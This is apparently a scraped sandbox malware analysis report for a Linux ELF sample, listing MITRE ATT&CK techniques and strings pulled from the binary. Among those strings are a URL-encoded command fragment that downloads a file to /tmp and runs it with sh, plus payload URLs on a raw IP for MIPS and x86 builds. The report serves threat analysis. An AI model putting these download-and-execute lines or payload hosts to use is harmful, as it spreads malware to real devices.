Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: 17CiAkKMyC.elf	String found in binary or memory: http://185.196.10.215/atp%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
Source: 17CiAkKMyC.elf	String found in binary or memory: http://185.196.10.215/bins/mips
Source: 17CiAkKMyC.elf	String found in binary or memory: http://185.196.10.215/bins/mips;
Source: 17CiAkKMyC.elf	String found in binary or memory: http://185.196.10.215/bins/x86
Source: 17CiAkKMyC.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: 17CiAkKMyC.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 17CiAkKMyC.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 17CiAkKMyC.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Dynamic Tags

Symbols

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: dash PID: 5468, Parent PID: 3634

General

Chronological Activities

Analysis Process: rm PID: 5468, Parent PID: 3634

General

Chronological Activities

Analysis Process: dash PID: 5469, Parent PID: 3634

General

Chronological Activities

Analysis Process: rm PID: 5469, Parent PID: 3634

General

Chronological Activities

Linux Analysis Report
17CiAkKMyC.elf